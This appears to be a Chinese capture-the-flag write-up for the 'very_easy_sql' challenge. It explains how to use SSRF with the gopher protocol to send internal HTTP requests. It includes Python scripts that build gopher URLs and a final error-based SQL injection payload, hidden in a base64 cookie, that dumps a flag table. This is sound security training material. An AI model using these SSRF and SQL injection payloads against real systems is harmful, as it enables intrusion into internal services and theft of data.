[攻防世界]very_easy_sql
参考链接:https://blog.youkuaiyun.com/yuanxu8877/article/details/128069145
0x00 前置知识
- ssrf + gopher协议
- sql注入(报错注入or时间盲注)
- python脚本编写
ssrf可以利用协议作为探针访问内网,如http,file,dict,ftp,gopher等
gopher协议和ssrf联合使用
gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面。
-
gopher协议的格式:gopher://IP:port/_TCP/IP数据流
-
GET请求:
构造HTTP数据包,URL编码、替换回车换行为%0d%0a,HTTP包最后加%0d%0a代表消息结束 -
POST请求
POST与GET传参的区别:它有4个参数为必要参数
需要传递Content-Type,Content-Length,host,post的参数
Content-Length和POST的参数长度必须一致
GET数据包:
gopher://127.0.0.1:80/_
GET /index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Cookie: this_is_your_cookie=YWRta=
Connection: close
POST数据包:
gopher://127.0.0.1:80/_
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=a68a3b03e80ce7fef96007dfa01dc077
利用脚本:
import urllib.parse
payload = """
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=a68a3b03e80ce7fef96007dfa01dc077
"""
tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLF(换行)漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)
- %0d%0a代表空格双重url编码,gopher会将第一个字符吞噬,所以加个下划线
- 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
0x01 打ssrf
主页登录没有回显,先查看源代码看到注释有use.php。且有一句
you are not an inner user, so we can not let you have identify~.意思是需要以本地用户访问。这里又没有rce、越权、文件包含等。那么很有可能有ssrf。
前面说了,ssrf可以利用协议作为探针访问内网,如http,file,dict,ftp,gopher等
试着用file协议读文件,返回nonono
题目意思是实现内部用户访问,那可以确定是用gopher协议来打了
0x02 gopher实现内部访问
实现内部访问脚本如下:
import urllib.parse
host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)
test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}
""".format(host,content_length,content)
//按照标准,URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。
因为我在构造URL的过程中要使用到中文:此时需要用到urllib.parse.quote,此处是为了替换特殊字符\
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
返回包中:
Set-Cookie的值为admin的base64编码值
猜测为Cookie处存在注入
Final_payload:
import urllib.parse
import base64
host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
pay = "select group_concat(flag) from security.flag"
# pay = "select group_concat(column_name) from information_schema.columns where table_name='flag' "
# pay = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
payload = f"admin') or extractvalue(1,concat(0x7e,({pay}),0x7e))#"
cookie = "this_is_your_cookie="+str(base64.b64encode(payload.encode()).decode())
test =\
f"""GET /index.php HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Cookie: {cookie}
Connection: close
"""
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)